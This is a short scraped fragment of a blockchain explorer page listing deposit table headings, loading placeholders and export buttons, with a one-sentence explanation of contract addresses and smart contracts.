Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.